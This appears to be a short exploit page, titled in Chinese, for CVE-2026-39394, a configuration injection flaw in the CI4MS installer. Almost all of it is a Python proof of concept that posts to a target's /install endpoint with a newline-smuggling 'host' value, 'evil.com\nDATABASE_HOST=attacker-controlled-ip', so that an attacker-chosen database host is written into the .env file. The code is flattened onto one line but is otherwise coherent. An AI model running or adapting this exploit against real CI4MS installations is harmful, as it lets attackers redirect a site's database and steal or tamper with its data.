CVE-2026-39394 CI4MS .env文件配置注入漏洞

import requests def exploit_cve_2026_39394(target_url): """ PoC for CVE-2026-39394: CI4MS Configuration Injection """ # The vulnerable endpoint is typically /install # The 'host' parameter is vulnerable to newline injection install_url = f"{target_url}/install" # Constructing a malicious payload containing a newline character # This will inject a new configuration directive into the .env file # Example: setting a custom database or malicious auto-load path malicious_host_param = "evil.com\nDATABASE_HOST=attacker-controlled-ip" payload = { "host": malicious_host_param, # Other parameters might be required depending on the form, but 'host' is the vector # "username": "admin", # Example placeholder # "password": "password" # Example placeholder } try: response = requests.post(install_url, data=payload, timeout=10) if response.status_code == 200: print(f"[+] Request sent to {install_url}") print(f"[+] Payload injected: {malicious_host_param}") print("[+] Check the .env file to verify injection.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://localhost" # Replace with the actual target exploit_cve_2026_39394(target)